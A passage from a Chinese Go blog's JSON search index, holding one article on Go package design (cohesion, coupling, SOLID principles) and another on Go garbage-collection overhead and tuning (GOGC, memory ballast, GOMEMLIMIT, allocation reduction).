src=\"/images/wp-content/uploads/a-guide-of-using-apache-arrow-for-gopher-part1-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/06/25/a-guide-of-using-apache-arrow-for-gopher-part1\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/06/25/a-guide-of-using-apache-arrow-for-gopher-part1\"\u003ehttps://tonybai.com/2023/06/25/a-guide-of-using-apache-arrow-for-gopher-part1\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e如果你不是做大数据分析的，提到Arrow这个词，你可能会以为我要聊聊那个箭牌卫浴或是箭牌口香糖(注：其实箭牌口香糖使用的单词并非Arrow)。其实我要聊的是\u003ca href=\"https://arrow.apache.org/\"\u003eApache的一个顶级项目：Arrow\u003c/a\u003e。\u003c/p\u003e","title":"Go语言开发者的Apache Arrow使用指南：数据类型"},{"content":"\n本文永久链接 – https://tonybai.com/2023/06/18/go-package-design-guide\n1. Go包的认知 1.1 Go包是基本功能单元 我们知道Go包是Go编程语言中的一个重要概念，它是一组相关的Go源代码文件。并且，在Go中，每个Go源文件都必须属于一个包。\nGo包是一个逻辑上独立的单元，是Go的基本功能单元，用来做功能边界的划分。这些基本功能单元的累加就构成了Go应用，因此Go应用的本质就是一组Go包的集合。\nGo包这种功能独立的单元为Go开发者提供了“封装”和复用的便利。在Go中，Go包也是代码复用的基本单元，被用来管理和组织代码，Go项目的结构布局本质上就是安排Go包的位置，使得代码更易于维护和重用。\n1.2 Go包是基本编译单元 Go包还是编译时的最小单位。也就是说，Go编译器编译代码时会以包为单位进行编译，而不是以文件为单位。这意味着一个包中的所有源文件都将被编译成一个单独的目标文件，而不是多个目标文件。\n使用包而不是文件作为编译单元，有助于提高编译效率和管理依赖关系。\n注：编译速度快是包这种设计“先进性”的一个表现，即便每次编译都是从零开始。Go编译速度快的几个原因与以包作为编译单元是密不可分的，具体体现在Go源文件在开头处显式地列出所有依赖包，编译器不必读取整个文件就可确定依赖包列表；Go包之间不能存在循环依赖，由于无环，包可以被单独编译，也可以并行编译；已编译的Go包的目标文件中记录了其所依赖包的导出符号信息。Go编译器在读取该目标文件时不需进一步读取其依赖包的目标文件。\n1.3 Go包是基本设计单元 这个世界越来越复杂，软件系统同样变得日益复杂。无论你是什么编程语言的开发者，我们要面对的都是如何驯服这种复杂性。到目前为止，我们驯服这种复杂性的思路还很初级，无非是对复杂性进行分解、分解、分解，并按照我们更容易理解的方式重新组合。\nGo包是基本功能单元，对于Go开发者，我们要将复杂性分解为一个个包，然后以一种合理的方式将包组合在一起以实现我们要的系统，因此Go包也是我们面对一个系统时的基本设计单元。我们不仅要设计每个包肩负的职责，还要设计包与包之间的关系。\n因此，Go系统设计就是面向包进行设计。\n接下来，我们就来看看Go包的设计思路。\n2. Go包设计思路 即便你没写过Go程序，作为程序员你也应该知道“高内聚，低耦合”这个原则在软件系统设计中的分量。这里我们就以这个原则作为“抓手”来展开看看Go包的设计思路。\n高内聚, 低耦合这个顶层原则，适用于所有编程语言的系统设计。但落到Go包设计上面，具体如何体现高内聚与低耦合呢？我们继续往下看。\n2.1 功能选桶：自然内聚 面对一个复杂系统，我们通常会做一些系统分析，比如用领域驱动设计的方式从需求中挖掘出一堆术语、事件、命令等(即便你不懂领域设计的纯正方法，你的实际操作过程也或多或少与领域设计的内容重叠)。之后，通常会分层、划分服务，每个服务又要划分模块或包。\n在服务这一层次上哪些功能放到哪个包里呢？这个过程我称之为“功能选桶”。\n这让我想到了和孩子一起学习动物分类时的书中题目：\n有这样一组动物：老虎、狮子、海马、大雁、熊猫、黄鹂、鲸鱼，这些动物能分为哪几个类别呢? 一个稍稍被启蒙了的孩子都会给出这样的分类：\n陆地动物：老虎、狮子、熊猫 海洋动物：海马、鲸鱼 天空动物：大雁、黄鹂 而另外一个稍有一些生物学入门知识的大点的孩子可能也会给出下面的分类：\n哺乳动物：老虎、狮子、熊猫、鲸鱼 卵生动物：海马、大雁、黄鹂 无论哪种，这些分类都是基于动物行为特征的自然结合。第一种似乎更直观自然，第二种则需要有更“专业”的知识（领域知识）。Go包的“功能选桶”其实是一个道理，相关功能自然结合到一个包中，保证这个包的内聚性。\n比如下面有几个功能函数：Add、Subtract、Multiply、Divide、Sum、Average、Histogram，我们如何为这几个函数选桶呢？\n一种不那么内聚的作法是将上述所有函数都放入math包；而更自然内聚一些的作法则是将Add、Subtract、Multiply、Divide放入math包，而将Sum、Average、Histogram等放入stats包(statistics，统计学)。\n在功能选桶过程中，越符合常人思维，就越自然，可读性和可理解性大概率就越好。\n2.2 包间关系：最小耦合 功能选桶之后，我们再来看包与包之间的关系，通常我们这种关系称为耦合。\n用白话来理解耦合就是：当a变化时，b受到影响并随之变化，则说b与a之间存在耦合，即b依赖a。a是引发b变化的一个原因。\n程序员都知道：一种理想的耦合情况是正交，即你变你自变，我岿然不动。但现实中这很难达到，我们应该追求的是尽可能地降低包与包间的耦合。\n在包依赖层面，Go强制要求不能存在循环依赖，即Go包之间的耦合一定是有向无环的，这一定层度上也能帮助Go包之间降低耦合。\n要降低包与包之间的耦合，我们首先要了解Go包间的最低耦合关系是什么呢？\n在代码层面最低的耦合是接口耦合，在Go中，接口的实现是隐式的，即a包实现b包中定义的接口时是不需要显式导入b包的，我们可以在c包中完成对a包与b包的组装，这样c包依赖a包和b包，但a包与b包之间没有任何耦合。\n那么负责组装a包与b包的c包能否在代码层面消除掉对a和b的依赖呢？这个就很难了。不过我们可以使用依赖注入技术来消除在代码层面手动基于依赖进行初始化或创建时的复杂性，不过依赖注入技术也是有“门槛”的，它会让你的代码不那么straightforward，代码的可读性和可理解性会下降。\n注：个人觉得：依赖注入在Go中并非是一种惯用法。Google开源了像wire这样的依赖注入框架(通过代码生成而实现的编译期依赖注入)，更多是为了解决掉内部大型Go项目初始化时各种创建动作的复杂性。\n我们可以参考软件界用于降低代码耦合的原则，比如由Robert C. Martin（通常被称为“Uncle Bob”）在《敏捷软件开发》一书中提出的旨在帮助开发人员设计更加灵活、可扩展和可维护的软件系统的SOLID敏捷设计原则，这些原则如何应用在Go上呢，或者在Go中如何体现呢，我们接下来就来看一下。\n注：“敏捷设计是一个过程，而不是一次事件。它是一个持续应用原则、模式以及实践来改进软件结构和可读性的过程。它致力于保持系统的设计在任何时间都尽可能的简单、整洁和富有表现力。” – 《敏捷软件开发》\n2.3 应用SOLID设计原则 2.3.1 单一职责原则（SRP） 对于一个类而言，应该仅有一个原因会引起它的变化。在SRP的语境中，我们把职责定义为“变化的原因”(a reason for change)。如果你有超过一个的动机去改变一个类，那么这个类就具有多种职责。- 《敏捷软件开发》\n就像Uncle Bob在书中说的那样：“如果你有超过一个的动机去改变一个类，那么这个类就具有多种职责。有时，我们很难注意到这一点。我们习惯于以组(group)的形式去考虑职责”。\n在Go包这一层次上，SRP更多体现在功能内聚上，就像前面举的math包和stats包的例子。\n再比如我们有一个图形库，它可以绘制不同类型的图形，如矩形、圆形、三角形等。我们可能会定义一个graph包，里面定义了Graphics类型，它具有Draw方法，用于绘制图形。在不遵循SRP的情况下，graph包Graphics类型可能会包含绘制各种类型图形的代码，这会导致类不仅包含多个职责，而且功能不够内聚。\n在遵循SRP的情况下，我们可以在graph包中定义Graphics接口，该接口具有Draw方法，然后在rectangle、circle、triangle包中分别定义Graphics接口的实现：Rectangle类型、Circle类型与Triangle类型：\ngraph/ - graph.go // 定义Graphics接口 - rectangle/ - rectangle.go // 定义Rectangle类型和其Draw方法 - circle/ - circle.go // 定义Circle类型和其Draw方法 - triangle/ - triangle.go // 定义Triangle类型和其Draw方法 这样，每个包都只负责一个图形类型，职责更加单一，也更容易维护和扩展。\n2.3.2 开放-关闭原则(OCP) 软件实体（类、模块、方法等）应该对扩展开放，但是对修改关闭。- 《敏捷软件开发》\n还以上面的graph等包为例，OCP原则可以体现在两方面：\n扩展Graphics接口的实现 我们无法修改graph.go中的Graphics接口，但如果你要添加一个square包，定义Square类型并实现Draw方法，那么我们可以在graph包下面添加一个square包，这个包和circle等包位于同等位置，都实现了graph包的Draw方法。\n基于Graphics接口的组合 我们无法修改graph.go中的Graphics接口，但是我们可以基于graph.Graphics接口去组合出其他具有更多职责的接口或非接口类型，就像io包中的Reader、Writer接口被组合到ReaderCloser、ReadWriteCloser中一样。\nOCP原则的关键是抽象，在Go中建立包与包之间关系抽象的最佳方法就是建立接口类型。前面说过，通过接口的耦合是最低的包间耦合，因此采用OCP原则对于降低包间耦合具有重要意义。\n不过，Bob大叔在书中也说了：“遵循OCP的代价也是昂贵的。创建恰当的抽象是要花费时间和精力的。那些抽象也增加了软件设计的复杂性，开发人员有能力处理的抽象数量是有限的”。OCP原则的应用应该被限定在最可能发生的变化上。\n2.3.3 里氏替换原则(LSP) 对于里氏替换原则(LSP)，可以如此解释：子类型(subtype)必须能够替换掉它们的基类(base type)。- 《敏捷软件开发》\nBob大叔在讲解LSP原则时使用的语言是C++和Java，对于这两种静态类型的OO语言来说，支持抽象和多态的关键机制之一是继承(inheritance)。也只有在继承的概念之上，采用基类和子类之分。\n不过Go并非传统意义上的OO语言，它没有继承，没有类型层次体系。即便没有这些，Go也不乏抽象表达能力，最直接的就是接口这个行为的集合。\n这样里氏替换原则(LSP)在Go中就可以如此解释：接口I的所有实现都是可以相互替代的，因为它们履行了同样的契约。\n2.3.4 接口隔离原则(ISP) 客户端程序不应该被迫依赖于它们不需要的方法。- 《敏捷软件开发》\n这个在体现Go包与包关系层面不是那么明显，方法已经告诉你这种耦合是接口耦合，但究竟用的是什么样的接口呢？“胖接口”，不是！我们需要刚刚好，不多不少的接口。\n来看一个例子：我们有如下一些接口定义：\ntype Printer interface { Print() } type Scanner interface { Scan() } type PrintSleeper interface { Printer Sleep() } type PrintScanSleeper interface { Printer Scanner Sleep() } 现在我们要实现一个打印机打印的API，我们最初的设计是：\nfunc Print(p PrintScanSleeper, data []byte) error { } 在这个设计中，Print函数依赖的是PrintScanSleeper，这意味着传入的合法参数的类型必须要实现Print、Scan和Sleep三个方法，但我们的函数只是为了实现打印，它不需要调用Scanner的Scan方法，根据ISP原则，我们不应该强迫Print函数依赖它们本不需要的方法，于是第二版设计如下：\nfunc Print(p Printer, data []byte) error { } 这似乎无懈可击。但常识告诉我们，每次打印结束后，都需要让打印机休眠，那么显然仅依赖Printer接口又缺少了点东西，那么最终版的设计如下：\nfunc Print(p PrintSleeper, data []byte) error { } 对ISP原则的白话阐述就是：“不多不少，刚刚好”！\n2.3.5 依赖倒置原则(DIP) 高层次的模块不应该依赖低层次的模块。两者都应该依赖抽象。抽象不应该依赖于细节，细节应该依赖于抽象。- 《敏捷软件开发》\n如果你的代码符合上面的几条原则的话，那么到这里，你的代码很大可能也是符合DIP原则的。\n一提到“依赖抽象”，大家肯定想到的还是接口。在Go中，接口是抽象的主要代名词。\n在包与包的关系层面上，DIP原则表现为：高层次包依赖接口，低层次的包实现接口，如下图：\n因此，在同等条件下，采用DIP原则设计良好的Go程序的包导入图应该是宽而平的，而不是高而窄的：\n3. 单包设计 说完了包的内聚与包间关系的耦合后，我们最后将精力聚焦在单包的设计上面，看看一个Go包在设计方面有哪些值得借鉴的tips。\n3.1 包名 我们在引用某个包的导出标识符时使用的是：\npkgname.XXX 由此可见包名的重要性，它可以理解为一个包的API的重要组成部分，因此包设计的第一步就是要为包起个好名字。\n给Go包起名字首先要注意简单达意，比如标准库的fmt、io、os等，并且包名按惯例应该与其目录名一致；\n其次，同一工程内部包名最好是唯一的，避免工程内部出现名字碰撞；\n最后，如果为了简洁而失去了包名的内聚性的内涵(功能和作用)，比如utils、common这些名字基本无法表达包究竟担负的职责，那么莫不如将包名加长一些，点缀上能达意的单词，比如printutil而不仅仅是util。\n3.2 最小暴露表面积 在单包设计时，要考虑最小暴露表面积，指定是应该尽可能减少包暴露给外部的接口和实现，只暴露必要的最小接口，以提高代码的安全性和可维护性。同时，从用户角度来看，只暴露必要信息的包看起来更易用。\n具体来说，可以分为如下几点：\n使用接口建立抽象 在设计包时，应该使用接口来建立抽象，而不是直接暴露实现。这样可以将实现细节隐藏起来，只暴露接口，从而提高代码的安全性和稳定性。\n最小化暴露的接口 即便是暴露接口，在设计包时，也应该尽量减少暴露给外部的接口数量。只有必要的接口应该暴露出来，从而提高代码的安全性和稳定性。\n使用非导出方法和变量封装实现细节 在设计包时，应该使用非导出方法和变量来封装包内部的实现细节，只暴露公共接口。这样可以将实现细节隐藏起来，避免外部代码直接依赖包内部的实现，从而提高代码的可维护性和灵活性。\n最小化暴露的实现 在设计包时，应该尽量减少暴露给外部的实现数量。只有必要的实现应该暴露出来，而不是将所有实现都暴露出去。这样可以避免外部代码直接依赖包内部的实现，从而提高代码的可维护性和灵活性。\n3.3 避免包级变量带来的包级状态 Go没有显式的全局变量，但包的导出变量本质上就是全局变量。在《聊聊Go语言的全局变量》一文中我们详细说明了全局变量的不足，因此应避免这类充当全局变量的包级变量的暴露。\n3.4 main包应尽可能简洁 在Go中，main包是特殊的包，用于定义程序的入口函数main。在Go中，main函数应该尽可能简洁，它应该只负责装配其他包，调用其他函数或模块，不应该包含过多的代码逻辑。这样可以提高代码的可读性和可维护性。如果要对main函数进行单测的话，那么可以将main函数的逻辑放置到另外一个函数中，比如run，然后对run函数进行详尽的测试。\n3.5 接口类型定义应放在与使用者更近的地方 Go接口是隐式实现的，意味着其实现者不需要显式告知实现了该接口，实现者所在包也无需导入接口定义所在的包。\n这样一来，将接口类型定义放在与使用者更近的地方，可以使代码更加清晰和易于理解。使用者可以直接看到接口类型定义，了解接口类型的作用和使用方法。但注意：这并非是绝对的规则。\n有些接口的实现者喜欢在自己的包中放置var i some_interface = (*T)(nil) ，以利用编译器的静态检查断言自己定义的类型*T实现了接口some_interface，这样一来实际上是显式宣告了在实现者和接口包之间关系，属于“增加耦合”的步骤。\n如果接口类型在同一个包里提供了默认实现，那么这么做无可厚非，比如io包。\n4. 小结 下面对本文内容做个小结：\nGo包是Go程序设计的基本单元，分解复杂性的基本单位。 Go包应被设计为高内聚，关注同一职责，并尽量与其他包低耦合。 在设计Go包时，可以按照功能选桶，根据自然内聚思维来划分包，并遵循最小耦合原则减少包间依赖。 可以运用SOLID设计原则优化Go包间的关系: SRP：每个包都有单一的职责，具有高内聚。 OCP：包对扩展开放，对修改关闭。 LSP：接口的实现是互相替换的。 ISP：接口将只暴露必要方法。 DIP：高层包和低层包都依赖抽象，细节应依赖抽象。 在单包设计时应考虑最小暴露表面积，只暴露必要的接口和实现。 避免用包级变量带来的全局状态。main包应简洁。 接口类型定义最好放在使用者更近的地方。 希望能为大家提供参考！如果有不正确或遗漏的地方，欢迎指出，共同进步。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/06/18/go-package-design-guide/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-package-design-guide-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/06/18/go-package-design-guide\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/06/18/go-package-design-guide\"\u003ehttps://tonybai.com/2023/06/18/go-package-design-guide\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"1-go包的认知\"\u003e1. Go包的认知\u003c/h2\u003e\n\u003ch3 id=\"11-go包是基本功能单元\"\u003e1.1 Go包是基本功能单元\u003c/h3\u003e\n\u003cp\u003e我们知道Go包是Go编程语言中的一个重要概念，它是一组相关的Go源代码文件。并且，在Go中，每个Go源文件都必须属于一个包。\u003c/p\u003e","title":"Go语言包设计指南"},{"content":"\n本文永久链接 – https://tonybai.com/2023/06/13/understand-go-gc-overhead-behind-the-convenience\n注：本文部分摘录自GopherChina 2023前的《Go高级工程师训练营》课程。\n1. 简介 当今，移动互联网和人工智能的快(越)速(来)发(越)展(卷)，对编程语言的高效性和便利性提出了更高的要求。Go作为一门高效、简洁、易于学习的编程语言，受到了越来越多开发者的青睐。\nGo语言的垃圾回收机制（Garbage Collection，简称 GC）是其重要的运行机制之一，它可以帮助开发人员避免手动管理内存的复杂性和错误，为开发者带来开发上的便利，使开发者可以更专注于业务逻辑的实现。然而，GC的便利性背后也带来了一定的系统开销，作为成熟的Go开发者，我们需要了解GC带来的开销和优化方法，以帮助我们更好的了解和使用Go语言。\n了解Go GC的原理是了解GC开销的前提条件，我们首先来简要看看Go GC的原理。\n2. Go GC的简明原理 Go语言的垃圾回收器采用了并发三色标记清除算法（Concurrent Tri-Color Mark-And-Sweep），尽可能减少STW(stop the world)时间，以降低吞吐为代价换取低延迟，实现了高效的垃圾回收。\n标记清除算法的基本原理是，垃圾回收器将所有的存活对象标记为“活”的，未被标记的对象则被认为是垃圾。经典的标记清除算法通常分为两个阶段：\n标记阶段：垃圾回收器从根对象开始，遍历所有可达对象，并将它们标记为“活”的。 清除阶段：垃圾回收器从堆的起始地址开始遍历，将未被标记的对象清除，回收内存。 Go语言的垃圾回收器采用了三色标记法(Tri-Color Marking)，将堆上的内存对象分为三种颜色：\n白色：未被标记为“活”的对象，是潜在的垃圾，后续可能会被GC回收。 灰色：待扫描的对象，当扫描某个灰色对象时，GC会将其标记为黑色，然后将该对象指向的所有对象都标记为灰色，待后续标记。 黑色：被标记为“活”的对象，在这轮GC中不会被回收。 垃圾回收器开始工作时不存在黑色对象，垃圾回收器会将根对象标记为灰色，并从根对象(通常是栈对象和全局对象)开始遍历。垃圾回收器会将灰色对象标记为黑色，并将该对象指向的对象标记为灰色。垃圾回收器重复这个过程，直到所有可达对象都被标记为黑色。最后，垃圾回收器清除所有未被标记为黑色的对象，即清除所有白色对象。\n前面提到过，Go语言的GC采用了并发标记的技术，以减少GC对系统性能的影响。并发标记指的是在GC运行时程序仍然可以继续运行，而不必停止程序的执行。为了避免程序修改对象时对标记的影响，GC会利用混合写屏障技术，在对象被修改时进行特殊标记(若程序修改黑色对象(已被扫描完毕，不会再扫描)，使之指向白色对象时，写屏障技术会将白色对象标记为灰色，避免白色对象被释放导致黑色对象出现悬挂指针的情况)。写屏障技术可以有效避免并发标记阶段的错误标记，但也会带来一定的性能开销。\n3. GC的开销 从上面的Go GC原理来看，GC在带来便利的同时，开销是不可避免的。\n3.1 GC开销的主要来源 GC开销的主要来源包括以下几个：\nSTW时间 Go诞生初期，GC的实现不是很成熟，STW时间很长，这让很对想使用Go在生产上作为一番的开发人员打了“退堂鼓”。Go 1.5版本自举后，GC的STW时间大幅下降，又经过几个版本的打磨后，STW时间已经被Go降低到很短了，通常情况下都在1毫秒以内，甚至可以到几十微秒，STW时间的大幅缩短让Go真正走进了生产环境。\n不过再短的STW对于程序执行来说也是开销，因为STW期间，所有属于业务逻辑的代码都无法向前推进(make progress)。\n那么一个GC周期究竟会做几次STW呢？这里借用“Go语言原本”中的一个表格：\n这个表格描述了Go垃圾回收器主要包含的五个阶段，我们看到虽然采用了并发三色标记和清除，但在一次GC周期内，还是要有2次STW，一次是结束标记，关闭写屏障，另一次是为下一个周期的并发标记做准备，开启写屏障。\nSTW时间依然是GC开销的主要来源之一。减少STW时间对于优化GC的性能依然至关重要，尤其是任意场景下都要保证尽可能短暂的STW，但这是Go core团队的任务。\n标记与清除阶段的负荷 在标记与清除阶段，GC需要遍历堆内存中的所有对象，并进行标记和清除，这也是十分消耗cpu的工作。\n标记辅助 GC的并发标记并非只是由特定(dedicated) goroutine去完成的，为了保证GC标记清扫的速度不低于业务goroutine分配内存的速度，保证程序不因消耗内存过快过大而被OS OOM(Out Of Memory) Killed，GC引入标记辅助技术，即让每个业务goroutine都有机会参与到GC标记工作中来！并且，这种标记辅助采用的是一种补偿机制，即该业务goroutine分配的内存越多，它要辅助标记的内存就越多。一旦某个业务goroutine被“拉壮丁”执行标记辅助工作，那么该goroutine的业务执行就会暂停，业务逻辑也就无法向前推进。\n堆内存的释放 当Go GC回收了堆内存之后，如果堆的大小变得比之前小了，那么垃圾回收器会向操作系统归还多余的内存空间。在Linux等操作系统中，操作系统会将这些内存页标记为“未使用”，但是这些内存页并不会立即返回给操作系统，而是留给程序使用，以便程序将来再次申请内存时可以直接使用已经分配的内存页，从而减少内存分配的时间和开销。当程序没有使用这些内存页一段时间后，操作系统会将这些内存页回收，并将它们标记为“可用”，并在需要时重新分配给程序。这个过程是由操作系统的虚拟内存管理机制来完成的，具体的开销取决于操作系统的实现和硬件的性能等因素。\n3.2 度量GC的开销 由于标记辅助技术的存在，单纯地从每个GC cycle的执行时间以及GC间隔时间来度量GC开销似乎就不那么准确了，更为直观的反映GC开销的是GC消耗cpu的占比。\n不过目前上没有特别好的工具可以特别直观且直接告诉你当前Go程序执行时GC CPU占用率。我们可以通过pprof工具或类似Pyroscope这样的持续profiling的图形化工具来间接查看GC的cpu占用。\n比如：通过Pyroscope提供的火焰图，查看runtime.gcBgMarkWorker(runtime后台专用的用于GC标记阶段的goroutine执行的函数)和runtime.gcAssistAlloc(标记辅助时调用的函数)的cpu消耗时间。\n更为完整的Go runtime metrics指标，可以查看metrics包的文档。\n注：GODEBUG=gctrace=1可以输出关于每个GC周期的详细信息，关于详细信息中各个字段的解读可以参见这里。更高级的选手还可以使用Go execution tracer工具来剖析GC的开销。\nGC的CPU开销占比通常在25%以下，一旦超过这个负荷比例，就要考虑做调优了，Go保证GC cpu占用不会超过50%。\n4. 优化GC的开销 优化GC的开销是提高系统性能和响应速度的重要手段。\n前面我们分析了Go GC开销的主要来源。下面就针对每种来源说说优化开销的可能性与手段。\n4.1 缩短STW时间 我们知道一旦GC STW后，所有业务逻辑都将暂停，这期间的CPU由GC 100%占用，降低STW时间是降低gc cpu占比的好方法。不过STW的算法是Go核心团队把控的，降低每个GC周期的STW时间也是Go核心团队的不二职责。从用户层面是很难影响到单次STW时间的。\n不过，我们可以通过减少GC次数来间接减少STW次数，从而降低GC CPU占比。当然减少GC次数对后面的所有优化手段都有效，这是一个总开关。\n那么如何减少GC次数呢？我们先来了解GC的触发时机。Go GC触发时机大体分为三种：\n手动触发：调用runtime.GC() 常规触发：Target heap memory = Live heap + (Live heap + GC roots) * GOGC / 100 sysmon后台周期性强制触发GC 我们看到，这三种触发时机我们能干预的只有常规触发，而常规触发的公式中，可以调整的只有GOGC这个参数(等价于debug.SetGCPercent())。GOGC默认值为100，也就是说当新分配heap内存的数量是上一周期的活跃heap内存的一倍的时候，触发GC：\n如果我们将GOGC改为200，那么GC的触发间隔将增加，频度会下降，CPU开销会降低(6.4%-\u0026gt;3.8%)，如下图：\n不过这是以整个程序的内存开销增大为代价的(40MB -\u0026gt; 60MB)，并且对一般开发者而言，GOGC的值改起来确有风险，稍有不慎可能就会触发OMM killed。之前uber曾发表一篇文章，讲述了uber是如何通过在线自动调整GOGC参数来大幅降低CPU资源开销的，可以一看。\n当然除了GOGC这一个唯一可调参数外，Go社区在降低GC频率方面也有自己的小妙招，比如之前经常使用的ballast(压舱石)技术。其原理就是在程序初始化时先分配一块大内存：\nfunc main() { // Create a large heap allocation of 10 GiB ballast := make([]byte, 10\u0026lt;\u0026lt;30) // Application execution continues // ... runtime.KeepAlive(ballast) // make sure the ballast won't be collected } 这块内存仅体现在VSZ中，即该程序进程的虚拟内存中，但并不占用程序进程的常驻内存(RSS)中。但一旦分配，Go GC就会将其算作是一个“活”堆内存对象，在计算下一次GC时就会将其作为上述公式中的live heap考量。如果ballast为10GB，那么GC就会在程序每新分配10GB内存时才会被触发。\n注：RSS是这个进程目前在主内存（RAM）中拥有多少内存。VSZ是该进程总共有多少虚拟内存。\nGo 1.19版本引入了Soft memory limit，这个方案在runtime/debug包中添加了一个名为SetMemoryLimit的函数以及GOMEMLIMIT环境变量，通过他们任意一个都可以设定Go应用的Memory limit。\n一旦设定了Memory limit，当Go堆大小达到“Memory limit减去非堆内存后的值”时，一轮GC会被触发。即便你手动关闭了GC(GOGC=off)，GC亦会被触发。 不过soft memory limit不保证不会出现oom-killed。并且如果一个Go应用的live heap object超过了soft memory limit但还尚未被kill，那么此时GC可能会被频繁触发，将大量消耗cpu资源：\n但为了保证在这种情况下业务依然能继续进行，soft memory limit方案保证GC最多只会使用50%的CPU算力，以保证业务处理依然能够得到cpu资源。\n那么多大的值是合理的soft memory limit值呢？在Go服务独占容器资源时，一个好的经验法则是留下额外的5-10%的空间。uber在其博客中设定的limit为资源上限的70%，也是一个不错的经验值。\nMemory Limit被看作是Go官方的ballast替代方案，但还是不有所不同的。Memory limit只是规定了一个上限，如果未到memory limit，Go的常规GC还是会照例执行的。GOGC=off+ soft Memory limit下的行为特征与ballast更类似，不过将GC关掉的风险还是很大的，要三思而后行。\nGo GC没有采用分代机制，每次都是FullGC，减少GC次数确是降低GC CPU开销的良方。不过除此之外，我们还有一个优化GC开销的方法，我们继续看。\n4.2 减少堆内存的分配和释放 GC开销大的根源在于heap object多，Go的每轮GC都是FullGC，每轮都要将所有heap object标记(mark)一遍，即便大多数heap object都是长期alive的，因此，一个直观的降低GC开销的方法就是减少heap object的数量，即减少alloc。\n沿着这样的思路，我们可以很直接的想出如下两种手段：\n把小对象聚合到一个结构体中，然后做一次分配即可 这样不仅利于减少分配次数，还有利于减少堆内存碎片，提高堆内存的利用率。如果整个结构体中没有指针对象，那么结构体的分配与释放将更加高效，具体原因可参见我的《Go GC如何检测内存对象中是否包含指针》一文。\n重用 Go GC开销优化的一个典型手段就是内存空间重用，即建立一个池子，需要的时候从池中申请，用完后再放回池子里，供其他goroutine重用。这个过程不再有分配与释放。\nGo中最典型的重用的例子就是sync.Pool的使用，不过sync.Pool并非完全不做释放操作，它是在一定程度上提高了重用的比例罢了。\n5. 小结 Go GC的自动内存管理减少了内存泄漏和悬挂指针等问题。然而，GC给开发者带来便利的同时，开销也是不可避免的，它会对系统的性能和响应速度产生影响。Go开发者需要了解这些开销。\n在本文中，我们介绍了GC的基本原理、GC的开销及其主要来源，并提供了优化GC开销的一些方法。\n然而，要想有效地利用 GC，开发者需要了解其内部机制和算法，并根据实际情况进行调优。\n除了通过GC参数降低GC频率外，在实际编码过程中，开发者还应该尽可能地减少对象的分配以降低Go每轮FullGC扫描对象的数量。\nGC的优化是一项长期的工作。开发者应该不断地监控系统的性能和行为，并根据需要进行调整和优化，以确保系统的性能和响应速度始终保持在最佳状态。\n6. 参考资料 A Guide to the Go Garbage Collector – https://go.dev/doc/gc-guide Go GC的过去、现在与未来 – https://golang.design/under-the-hood/zh-cn/part2runtime/ch08gc/history/ Go memory ballast: How I learned to stop worrying and love the heap – https://blog.twitch.tv/en/2019/04/10/go-memory-ballast-how-i-learnt-to-stop-worrying-and-love-the-heap/ “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/06/13/understand-go-gc-overhead-behind-the-convenience/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-gc-overhead-behind-the-convenience-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/06/13/understand-go-gc-overhead-behind-the-convenience\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/06/13/understand-go-gc-overhead-behind-the-convenience\"\u003ehttps://tonybai.com/2023/06/13/understand-go-gc-overhead-behind-the-convenience\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：本文部分摘录自GopherChina 2023前的《Go高级工程师训练营》课程。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"1-简介\"\u003e1. 简介\u003c/h2\u003e\n\u003cp\u003e当今，移动互联网和人工智能的快(越)速(来)发(越)展(卷)，对编程语言的高效性和便利性提出了更高的要求。Go作为一门高效、简洁、易于学习的编程语言，受到了越来越多开发者的青睐。\u003c/p\u003e","title":"Go 